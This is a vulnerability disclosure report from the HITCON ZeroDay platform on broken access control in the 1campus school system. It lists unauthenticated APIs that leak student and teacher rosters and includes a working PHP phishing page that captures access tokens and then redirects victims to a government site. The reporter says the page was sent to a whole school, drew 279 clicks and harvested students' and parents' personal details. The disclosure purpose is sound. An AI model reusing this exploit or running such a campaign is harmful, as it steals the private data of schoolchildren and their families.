Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01517
- Vendor: 澔學學習股份有限公司
- Title: 1campus Broken Access Control
- Introduction: Broken Access Control
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2024/11/21 11:35:22 : 新提交 (由 xiulan 更新此狀態)
- 2024/11/26 13:29:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/26 17:00:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/26 17:00:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/16 14:40:09 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/01/03 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01517
- 通報者:xiulan (xiulan)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://developer.1campus.net/
敘述
1campus
漏洞挖掘
首先在
https://usagestat-dev.1campus.net 中有找到幾個我可以識別用途的api
-
https://usagestat-dev.1campus.net/api/dsa_sp_install_all_classes_fast?dsns=(dsns)
- arg:
- dsns: 類似組織代號的概念
可從1campus官網leak出全台灣所有學校/組織的dsns
- dsns: 類似組織代號的概念
- return:
- 全校學生的班級, 姓名, 座號, 班級ID, 學生ID...
- arg:
-
https://usagestat-dev.1campus.net/api/dsa_teachers_aggregator?dsns=(dsns)
- arg:
- dsns: 同上
- return:
- 全校教師的姓名, 信箱, 任教班級, 班級ID...
- arg:
-
https://usagestat-dev.1campus.net/api/download_excel?dsns=(dsns)&class_id=146
- arg:
- dsns: 同上
- class_id: 可從第二項leak出
- return:
- 一個excel檔 包含班級, 座號, 學生, 學生是否安裝, 家長是否安裝
- arg:
開發者後台
https://developer.1campus.net/
嘗試以任意帳號登入
嘗試建立任意測試模組
測試人員可藉由信箱任意增加 不需要取得本人同意/驗證
結果
漏洞發現
在點進去的過程中 預設會把dsns, code, access_token也一起傳出去
exploit
php
<?php
if(isset($_GET['dsns']) && isset($_GET['code']) && isset($_GET['access_token'])) {
$dsns = $_GET['dsns'];
$code = $_GET['code'];
$access_token = $_GET['access_token'];
$url = "https://campus-lite.web.app/modules/core/profile?dsns=(dsns)&code=$code&access_token=$access_token&language=zh-TW&theme=cupcake";
$e = escapeshellarg($url);
$cmd = "nohup node run.js $e > /dev/null 2>&1 &";
system($cmd);
echo $cmd;
}
header('Location: https://www.dgpa.gov.tw/');
在php中偷走他給的資料 並且構建url 接著傳入run.js
然後轉址到颱風假的網站
至此 這個釣魚網站就已經完成了
接著我把它部屬上環境 並對全校投放這個釣魚連結
可以從上面提供的api中leak出全校學生的學號
還可以丟給全台灣有用1campus的學生 到處釣魚
放上去約兩天
有279個點擊數(可能有重複點擊的狀況)
從這次的攻擊可以取得受害者的
班級, 姓名, 學號, 導師, 電話, 住址, 雙親姓名電話
透過access_token 還可以做到使用內建的電子報表功能 取得家長代碼
並提權成該學生的家長 藉此存取更多資訊
而對教師端來說 雖然沒有辦法直接存取教師的服務
但是當再載入app端的1campus時
還是會一次把所有scope的module一次載入
示意圖
因此就算module以uuid區別 還是可以知道module的網址
而若實現這個腳本 那缺曠跟成績很有可能遭到入侵修改
修補建議
移除不必要的服務/後台
增加權限驗證